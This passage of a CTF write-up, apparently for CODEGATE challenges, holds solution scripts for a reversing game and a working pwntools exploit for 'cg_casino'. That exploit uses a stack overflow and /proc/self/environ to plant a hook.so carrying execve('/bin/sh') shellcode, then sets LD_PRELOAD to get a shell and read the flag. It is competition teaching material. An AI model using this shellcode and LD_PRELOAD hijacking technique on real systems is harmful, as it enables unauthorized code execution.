    (<span class="hljs-number">0x1b0a</span>,<span class="hljs-number">0xf0</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x19f2</span>,<span class="hljs-number">0xfa</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x1aec</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x192c</span>,<span class="hljs-number">0xa8</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x19d4</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x16d0</span>,<span class="hljs-number">0xc3</span>,<span class="hljs-number">4</span>),
    (<span class="hljs-number">0x11BB</span>,<span class="hljs-number">0x131</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0xf25</span>,<span class="hljs-number">0xDC</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0x108b</span>,<span class="hljs-number">0x130</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0xde7</span>,<span class="hljs-number">0x120</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0xf07</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0x1001</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0x101f</span>,<span class="hljs-number">0x4e</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0x106d</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0xC8C</span>,<span class="hljs-number">0x15B</span>,<span class="hljs-number">5</span>)
]
p.sort( key=<span class="hljs-keyword">lambda</span> x:x[<span class="hljs-number">0</span>] )

ss = <span class="hljs-string">''</span>
now = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i , l , kn <span class="hljs-keyword">in</span> p:
    ss += s[now:i]
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> xrange( l ):
        ss += chr( ord( s[ i + j ] ) ^ ord( k[ kn - <span class="hljs-number">1</span> ][j % len( k[ kn - <span class="hljs-number">1</span> ] )] ) )
    now = i + l

ss += s[now:]

new.write(ss)
new.close()</code></pre><p>After some reversing.....</p>
<ul class="list">
<li>find_solution.py:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">import</span> itertools

init = [(<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>)]
a = [(<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>)]
b = [(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>)]
c = [(<span class="hljs-number">-1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>)]
d = [(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>)]
e = [(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>)]
f = [(<span class="hljs-number">1</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">2</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>)]
g = [(<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>)]
h = [(<span class="hljs-number">-1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">2</span>)]

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> itertools.product( init , a , b , c , d , e , f , g , h ):
    found = <span class="hljs-number">1</span>
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> xrange( <span class="hljs-number">5</span> ):
        sum = <span class="hljs-number">0</span>
        <span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> i:
            sum += k[j]
        <span class="hljs-keyword">if</span> sum != <span class="hljs-number">5</span>:
            found = <span class="hljs-number">0</span>
    <span class="hljs-keyword">if</span> found:
        <span class="hljs-keyword">print</span> i
        <span class="hljs-keyword">break</span></code></pre><ul class="list">
<li>flag.py:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-comment"># He_C@N'T_see_the_f0rest_foR_TH3_TRee$</span>

host , port = <span class="hljs-string">'110.10.147.104'</span> , <span class="hljs-number">13152</span>
y = remote( host , port )

<span class="hljs-comment">#ori = '\x55\x48\x89\xe5'</span>
<span class="hljs-comment">#enc = '\x39\x07\xff\xd6'</span>
<span class="hljs-comment">#key1 = ''.join( chr( ord(ori[_]) ^ ord(enc[_]) ) for _ in xrange(4) )</span>
<span class="hljs-comment">#key1 = 'lOv3'</span>
</code></pre><pre class="hljs"><code><span class="hljs-number">0x403197</span>

<span class="hljs-number">1</span>&gt; Kill the enemy       <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>&gt; Capture the captive  <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">3</span>&gt; Just release         <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>

<span class="hljs-number">0x402FCF</span> break time

<span class="hljs-number">1</span>&gt; Spend time with orphanage children.  <span class="hljs-number">0</span>  <span class="hljs-number">0</span>  <span class="hljs-number">1</span>  <span class="hljs-number">0</span>  <span class="hljs-number">2</span>
<span class="hljs-number">2</span>&gt; Host a big party.                    <span class="hljs-number">0</span> <span class="hljs-number">-1</span>  <span class="hljs-number">0</span>  <span class="hljs-number">0</span> <span class="hljs-number">-1</span>
<span class="hljs-number">3</span>&gt; Read a book in the room.             <span class="hljs-number">0</span>  <span class="hljs-number">2</span>  <span class="hljs-number">0</span>  <span class="hljs-number">0</span>  <span class="hljs-number">0</span>

<span class="hljs-number">0x402E4F</span> test <span class="hljs-number">2</span>

<span class="hljs-number">0x402c25</span> brother
<span class="hljs-number">1</span>&gt; I will take the coin from servant.  <span class="hljs-number">-1</span>  <span class="hljs-number">0</span>  <span class="hljs-number">-1</span>  <span class="hljs-number">1</span>  <span class="hljs-number">0</span>
<span class="hljs-number">2</span>&gt; I will go out.
    <span class="hljs-number">1</span>&gt; Yes I will buy.
        <span class="hljs-number">1</span>&gt; I will sell the apple with yelling to the crowd, 'I'm the prince of this kingdom!'  <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
        <span class="hljs-number">2</span>&gt; I will sell the apple after I wash this apple really cleary.                        <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
    <span class="hljs-number">2</span>&gt; No I will not.   LOSE
<span class="hljs-number">3</span>&gt; I will go to my brother and discuss about this.
    <span class="hljs-number">1</span>&gt; Rock, Scissors, Paper            <span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
    <span class="hljs-number">2</span>&gt; Fight                            lose

<span class="hljs-number">0x40266a</span> break <span class="hljs-number">2</span>
<span class="hljs-number">1</span>&gt; Go to suppress the rebellion by force.
    <span class="hljs-number">1</span>&gt; Yes I am.
        <span class="hljs-number">1</span>&gt; Execute                  <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span>
        <span class="hljs-number">2</span>&gt; Imprisonment             <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span>
    <span class="hljs-number">2</span>&gt; No I'm not. SAME
<span class="hljs-number">2</span>&gt; Go to persuade the brother.
    <span class="hljs-number">1</span>&gt; I understand you mind, but this is a rebellion against father. Surrender and apologize to father.   <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">2</span>
    <span class="hljs-number">2</span>&gt; I understand you mind, but now you have to accept the result. Even if you are not a king, there are many things you can do for other kingdom. I will find a way with you.
        <span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">2</span> <span class="hljs-number">1</span> <span class="hljs-number">2</span>

<span class="hljs-number">0x40226d</span> test <span class="hljs-number">3</span>

<span class="hljs-number">0x4020e2</span> test <span class="hljs-number">3</span> entry
<span class="hljs-number">1</span>&gt; He caused the revolt, so execute him without mercy.                                                              <span class="hljs-number">0</span>  <span class="hljs-number">0</span>  <span class="hljs-number">1</span>  <span class="hljs-number">1</span>  <span class="hljs-number">0</span>
<span class="hljs-number">2</span>&gt; Although he caused the revolt but he had a lot of accomplish, so send him to the other country as a diplomat.    <span class="hljs-number">0</span> <span class="hljs-number">-1</span>  <span class="hljs-number">2</span>  <span class="hljs-number">0</span>  <span class="hljs-number">0</span>  , <span class="hljs-number">0</span> <span class="hljs-number">-1</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span>
<span class="hljs-number">3</span>&gt; He caused the revolt. Deprive his royal status and send him into exile.                                          <span class="hljs-number">0</span> <span class="hljs-number">-1</span>  <span class="hljs-number">1</span>  <span class="hljs-number">1</span>  <span class="hljs-number">0</span> 


break <span class="hljs-number">3</span>
<span class="hljs-number">1</span>&gt; Yes I think.
    <span class="hljs-number">1</span>&gt; Kill secretly. LOSE
    <span class="hljs-number">2</span>&gt; Give <span class="hljs-section">money</span> and send to other country. <span class="hljs-number">1</span> <span class="hljs-number">-1</span> <span class="hljs-number">-1</span> <span class="hljs-number">2</span> <span class="hljs-number">2</span>
<span class="hljs-number">2</span>&gt; Nope!
    <span class="hljs-number">1</span>&gt; I will not eat it.                                       <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
    <span class="hljs-number">2</span>&gt; I will eat it alone. XXXX
    <span class="hljs-number">3</span>&gt; I will call <span class="hljs-number">6</span>th prince and make him to eat it first.     <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span>

<span class="hljs-number">0x401BFA</span> test <span class="hljs-number">4</span> <span class="hljs-type">key</span>
<span class="hljs-number">0x401B0A</span> test <span class="hljs-number">4</span> entry
<span class="hljs-number">1</span>&gt; Yes I am.
    <span class="hljs-number">1</span>&gt; Yes I can.
    <span class="hljs-number">2</span>&gt; No I can't XXXX
<span class="hljs-number">2</span>&gt; No I'm not.  XXXX

<span class="hljs-number">0x401609</span> break <span class="hljs-number">4</span>
<span class="hljs-number">1</span>&gt; Go for a walk.
    <span class="hljs-number">1</span>&gt; Yes I do.
        <span class="hljs-number">1</span>&gt; Go to see the king.  XXXX
        <span class="hljs-number">2</span>&gt; Go to my room and waiting.   <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>
    <span class="hljs-number">2</span>&gt; No I don't                       <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>&gt; Just stay in room                    <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>

<span class="hljs-number">0x4011BB</span> test <span class="hljs-number">5</span> entry
<span class="hljs-number">1</span>&gt; I will give up.    XXXX
<span class="hljs-number">2</span>&gt; I will find the diplomat.
    <span class="hljs-number">1</span>&gt; Go to the bar where he visit often.
        <span class="hljs-number">1</span>&gt; Give him to the king and waiting for the result.                         <span class="hljs-number">-1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">1</span>
        <span class="hljs-number">2</span>&gt; Tell the king that you want to investigate him and send him into exile.   <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">1</span>
    <span class="hljs-number">2</span>&gt; Find the family first. XXXX
<span class="hljs-number">3</span>&gt; I will go to the other country.
    <span class="hljs-number">1</span>&gt; We must go. Keep going with <span class="hljs-number">2</span>nd prince.  XXXX
    <span class="hljs-number">2</span>&gt; You send him home and you keep going.                                         <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">2</span>
    <span class="hljs-number">3</span>&gt; Go home together. XXXX

<span class="hljs-number">0x400C8C</span> final
<span class="hljs-number">1</span>&gt; Don't enter the room. XXXX
<span class="hljs-number">2</span>&gt; Enter the room.
    <span class="hljs-number">1</span>&gt; Yes I do. flag
    <span class="hljs-number">2</span>&gt; No I don't. XXXX



(<span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>) (<span class="hljs-number">0</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>) (<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>) (<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">2</span>)</code></pre><pre class="hljs"><code>y.sendlineafter( <span class="hljs-string">'Look around'</span> , <span class="hljs-string">'1'</span> )
y.sendlineafter( <span class="hljs-string">'test 1'</span> , <span class="hljs-string">'lOv3'</span> )
y.sendlineafter( <span class="hljs-string">'No I\'</span>m <span class="hljs-literal">not</span><span class="hljs-string">' , '</span><span class="hljs-number">1</span><span class="hljs-string">' )
y.sendlineafter( '</span>I will wear the armor <span class="hljs-keyword">for</span> body, arm, leg <span class="hljs-literal">and</span> helmet.<span class="hljs-string">' , '</span><span class="hljs-number">2</span><span class="hljs-string">' )
y.sendlineafter( '</span><span class="hljs-number">3</span>&gt; Just release<span class="hljs-string">' , '</span><span class="hljs-number">2</span><span class="hljs-string">' ) # 2 0 0 1 0
y.sendlineafter( '</span><span class="hljs-number">3</span>&gt; Read a book <span class="hljs-keyword">in</span> the room.<span class="hljs-string">' , '</span><span class="hljs-number">3</span><span class="hljs-string">' ) # 0, 2, 0, 0, 0
# 2 2 0 1 0

y.sendlineafter( '</span>Enter the key <span class="hljs-keyword">for</span> test <span class="hljs-number">2</span><span class="hljs-string">' , '</span>D0l1<span class="hljs-string">' )
y.sendlineafter( '</span>No I\<span class="hljs-string">'m not'</span> , <span class="hljs-string">'1'</span> )
y.sendlineafter( <span class="hljs-string">'3&gt; I will go to my brother and discuss about this.'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'2&gt; No I will not.'</span> , <span class="hljs-string">'1'</span> )
y.sendlineafter( <span class="hljs-string">'2&gt; I will sell the apple after I wash this apple really cleary.'</span> , <span class="hljs-string">'2'</span> ) <span class="hljs-meta"># 1 1 0 0 0</span>
<span class="hljs-meta"># 3 3 1 0 0</span>

y.sendlineafter( <span class="hljs-string">'2&gt; Go to persuade the brother.'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'2&gt; I understand you mind, but now you have to accept the result. Even if you are not a king, there are many things you can do for other kingdom. I will find a way with you.'</span> , <span class="hljs-string">'1'</span> )
<span class="hljs-meta"># 1 1 1 1 2</span>
<span class="hljs-meta"># 4 4 2 1 2</span>

y.sendlineafter( <span class="hljs-string">'Enter the key for test 3'</span> , <span class="hljs-string">'HuNgRYT1m3'</span> )
y.sendlineafter( <span class="hljs-string">'3&gt; He caused the revolt. Deprive his royal status and send him into exile.'</span> , <span class="hljs-string">'2'</span> ) <span class="hljs-meta"># (0, -1, 2, 0, 0) (0, -1, 0, 2, 0)</span>
<span class="hljs-meta"># 4 3 4 1 2</span>

y.sendlineafter( <span class="hljs-string">'2&gt; Nope!'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'3&gt; I will call 6th prince and make him to eat it first.'</span> , <span class="hljs-string">'3'</span> ) <span class="hljs-meta"># (1, 0, 0, 0, 1)</span>
<span class="hljs-meta"># 5 3 3 2 3</span>

y.sendlineafter( <span class="hljs-string">'Enter the key for test 4'</span> , <span class="hljs-string">'F0uRS3aS0n'</span> )
y.sendlineafter( <span class="hljs-string">'2&gt; No I\'</span>m <span class="hljs-literal">not</span>.<span class="hljs-string">' , '</span><span class="hljs-number">1</span><span class="hljs-string">' )
y.sendlineafter( '</span><span class="hljs-number">2</span>&gt; No I can\<span class="hljs-string">'t'</span> , <span class="hljs-string">'1'</span> )

t = <span class="hljs-string">'ABCDEFGHIJKLMNOPQRSTUVWXYZ'</span>
e = <span class="hljs-string">'ALICEAWTQJMJXTSPPZVCIDGQYRDINMCP'</span>
a = <span class="hljs-string">'ALICE'</span>
p = <span class="hljs-string">''</span>
j = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> e[<span class="hljs-number">5</span>:]:
    i = t.index( c ) - ( ord( a[j] ) - <span class="hljs-number">65</span> ) + <span class="hljs-number">65</span>
    p += <span class="hljs-built_in">chr</span>(i)
    j = (j + <span class="hljs-number">1</span>) % <span class="hljs-number">5</span>

y.sendlineafter( <span class="hljs-string">'King : You have only 1 chance.'</span> , a + p ) <span class="hljs-meta"># 0 1 1 2 0</span>
<span class="hljs-meta"># 5 4 4 4 3</span>

y.sendlineafter( <span class="hljs-string">'2&gt; Just stay in room'</span> , <span class="hljs-string">'2'</span> ) <span class="hljs-meta"># (0, 1, 0, 0, 0)</span>
<span class="hljs-meta"># 5 5 4 4 3</span>

y.sendlineafter( <span class="hljs-string">'Enter the key for test 5'</span> , <span class="hljs-string">'T1kT4kT0Kk'</span> )
y.sendlineafter( <span class="hljs-string">'3&gt; I will go to the other country.'</span> , <span class="hljs-string">'3'</span> )
y.sendlineafter( <span class="hljs-string">'3&gt; Go home together.'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'2&gt; Enter the room.'</span> , <span class="hljs-string">'2'</span> )
y.sendlineafter( <span class="hljs-string">'2&gt; No I don\'</span>t.<span class="hljs-string">' , '</span><span class="hljs-number">1</span><span class="hljs-string">' )

y.interactive()</span></code></pre><h3 id="cg_casino"><a class="header-link" href="#cg_casino"></a>cg_casino</h3>
<blockquote>
<p>yuawn, Billy, limbo, tens</p>
</blockquote>
<p>Use stack overflow to overwrite the <code>environ</code> on the stack, so that we can use <code>/proc/self/environ</code> to control the content of file.
Upload <code>hook.so</code>.</p>
<ul class="list">
<li>hook.S:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">; nasm -f elf64 hook.S -o hook.o &amp;&amp; ld --shared hook.o -o hook.so</span>
<span class="hljs-comment">; ubuntu 16.04 GNU ld (GNU Binutils for Ubuntu) 2.26.1</span>
[<span class="hljs-meta">BITS</span> <span class="hljs-number">64</span>]
    <span class="hljs-meta">global</span> getenv:function
    <span class="hljs-meta">section</span> .text
<span class="hljs-symbol">getenv:</span>
    <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rax</span>, <span class="hljs-number">0x68732f6e69622f</span>
    <span class="hljs-keyword">push</span> <span class="hljs-built_in">rax</span>
    <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-built_in">rsp</span>
    <span class="hljs-keyword">xor</span> <span class="hljs-built_in">esi</span>, <span class="hljs-built_in">esi</span>
    <span class="hljs-keyword">push</span> <span class="hljs-number">0x3b</span>
    <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rax</span>
    <span class="hljs-keyword">cdq</span>
    <span class="hljs-keyword">syscall</span></code></pre><p>Overwrite <code>LD_PRELOAD</code> in <code>environ</code> with <code>./hook.so</code>, trigger <code>system(&quot;/usr/bin/clear&quot;)</code> in <code>slot_machine</code> function. <code>getenv()</code> will called by <code>/usr/bin/clear</code>, and be hooked on to our shellcode.</p>
<ul class="list">
<li>flag.py:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-comment"># CODEGATE{24cb1590e54e43b254c99404e4f86543}</span>

context.arch = <span class="hljs-string">'amd64'</span>
host , port = <span class="hljs-string">'110.10.147.113'</span> , <span class="hljs-number">6677</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">put</span><span class="hljs-params">( voucher )</span>:</span>
    y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'1'</span> )
    y.sendlineafter( <span class="hljs-string">'input voucher :'</span> , voucher )

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mer</span><span class="hljs-params">( fromm )</span>:</span>
    y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'2'</span> )
    y.sendlineafter( <span class="hljs-string">'input old voucher :'</span> , fromm )

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">lot</span><span class="hljs-params">( a )</span>:</span>
    y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'3'</span> )
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a:
        y.sendline( i )

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">slot</span><span class="hljs-params">()</span>:</span>
    y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'5'</span> )
    y.sendlineafter( <span class="hljs-string">'press any key'</span> , <span class="hljs-string">''</span> )

<span class="hljs-string">'''
maps
mem
stack
environ
'''</span>

<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
    y = remote( host , port )

    slot()
    p = [ <span class="hljs-string">'1'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'1'</span>  ]
    lot( p )

    y.recvuntil( <span class="hljs-string">'==================='</span> )
    y.recvuntil( <span class="hljs-string">'===================\n'</span> )
    stk = int( y.recvuntil( <span class="hljs-string">' :'</span> )[:<span class="hljs-number">-2</span>] )
    y.recvline()
    stk += int( y.recvuntil( <span class="hljs-string">' :'</span> )[:<span class="hljs-number">-2</span>] ) &lt;&lt; <span class="hljs-number">32</span>
    success( <span class="hljs-string">'stack -&gt; %s'</span> % hex( stk ) )

    env = (( stk + <span class="hljs-number">0x2000</span> ) &amp; <span class="hljs-number">0xfffffffff000</span>) + <span class="hljs-number">0x273</span>
    info( <span class="hljs-string">'environ -&gt; %s'</span> % hex( env ) )

    p = flat(
        <span class="hljs-number">0</span>, stk + <span class="hljs-number">0x110</span>,
        <span class="hljs-number">0</span>, <span class="hljs-number">0</span>,
        <span class="hljs-number">0</span>, <span class="hljs-number">0</span>,
        <span class="hljs-number">1</span>, stk + <span class="hljs-number">0x1169</span>, <span class="hljs-comment"># argv</span>
        <span class="hljs-number">0</span>, env , <span class="hljs-comment"># envp</span>
        env + <span class="hljs-number">0x42</span>, <span class="hljs-number">0</span>,
    ).ljust( <span class="hljs-number">0xc0</span> , <span class="hljs-string">'\x00'</span> )

    hook = open( <span class="hljs-string">'./hook.so'</span> ).read().replace( <span class="hljs-string">'\n'</span> , <span class="hljs-string">'\x00'</span> )

    hook_so = <span class="hljs-string">'ho0o0o0o0o0o0o0o0o0o0o0o0o0o0k'</span>
    version = <span class="hljs-string">'.00'</span>
    put( hook_so + version )

    mer( (<span class="hljs-string">'/proc/self/environ'</span>.rjust( <span class="hljs-number">0x20</span> , <span class="hljs-string">'/'</span> ) + <span class="hljs-string">'\x00'</span> * ( <span class="hljs-number">0xd0</span> - <span class="hljs-number">0x20</span> ) + p).ljust( env - stk - <span class="hljs-number">0x70</span>, <span class="hljs-string">'\x00'</span> ) + hook )

    <span class="hljs-keyword">try</span>:
        y.sendlineafter( <span class="hljs-string">'6) exit'</span> , <span class="hljs-string">'6'</span> )
        y.close()
        success( <span class="hljs-string">'Upload hook.so succeed!'</span> )
        <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">except</span>:
        y.close()

y = remote( host , port )

slot()
p = [ <span class="hljs-string">'1'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'+'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'1'</span> , <span class="hljs-string">'1'</span>  ]
lot( p )

y.recvuntil( <span class="hljs-string">'==================='</span> )
y.recvuntil( <span class="hljs-string">'===================\n'</span> )
stk = int( y.recvuntil( <span class="hljs-string">' :'</span> )[:<span class="hljs-number">-2</span>] )
y.recvline()
stk += int( y.recvuntil( <span class="hljs-string">' :'</span> )[:<span class="hljs-number">-2</span>] ) &lt;&lt; <span class="hljs-number">32</span>
success( <span class="hljs-string">'stack -&gt; %s'</span> % hex( stk ) )

mer( (<span class="hljs-string">'a'</span> * <span class="hljs-number">0x40</span> + <span class="hljs-string">"LD_PRELOAD=./"</span> + hook_so + version ).ljust( <span class="hljs-number">0x128</span> , <span class="hljs-string">'\x00'</span> ) + p64( stk + <span class="hljs-number">0xb0</span> ) + p64( <span class="hljs-number">0</span> ) ) 

y.sendlineafter( <span class="hljs-string">'&gt;'</span> , <span class="hljs-string">'5'</span> )
y.sendlineafter( <span class="hljs-string">'press any key'</span> , <span class="hljs-string">'7'</span> ) <span class="hljs-comment"># hooked !</span>

y.sendline( <span class="hljs-string">'cat ../f*'</span> )

y.interactive()</code></pre><h3 id="archiver"><a class="header-link" href="#archiver"></a>archiver</h3>
<blockquote>
<p>yuawn, tens</p>
</blockquote>
<ul class="list">
<li>flag.py</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

